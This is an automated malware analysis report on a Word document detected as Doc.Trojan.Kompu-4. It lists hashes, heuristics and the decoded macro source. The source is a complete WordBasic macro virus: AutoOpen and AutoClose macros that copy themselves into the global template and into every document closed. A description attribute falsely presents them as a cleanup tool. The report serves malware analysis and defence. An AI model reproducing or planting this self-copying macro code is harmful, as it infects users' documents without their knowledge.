Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04f2ffd936bc50b5…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-04-20 19:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2b5c406e02520a00e4baedbb319c657e SHA-1: 0534161e7e86b7b1c008eef7eb1be1dd8498ba0c SHA-256: 04f2ffd936bc50b5afb9a1f9688ebda23a98e847c78203b0a9a445c1fae45c1d
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macros, specifically AutoOpen and AutoClose, which are designed to copy themselves to other documents. This indicates an attempt to spread malicious macros and potentially infect other files on the system. The ClamAV detection of 'Doc.Trojan.Kompu-4' further supports the malicious nature of this document.

Heuristics 5

  • ClamAV: Doc.Trojan.Kompu-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kompu-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1140 bytes
SHA-256: 54901cf49f6b47ab447f9d8ea1e506e80d7ac1a5f995f557977d137717c32b96
Detection
ClamAV: Doc.Trojan.Kompu-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
'AutoOpen
'Makroviirus Kompu
On Error Resume Next
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoClose") + ":AutoClose", "Global:AutoClose"
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim fileenimi$
'AutoClose

On Error Resume Next
fileenimi$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "Global:AutoOpen", fileenimi$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoClose", fileenimi$ + ":AutoClose"
WordBasic.FileSaveAs Name:=fileenimi$, Format:=1
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True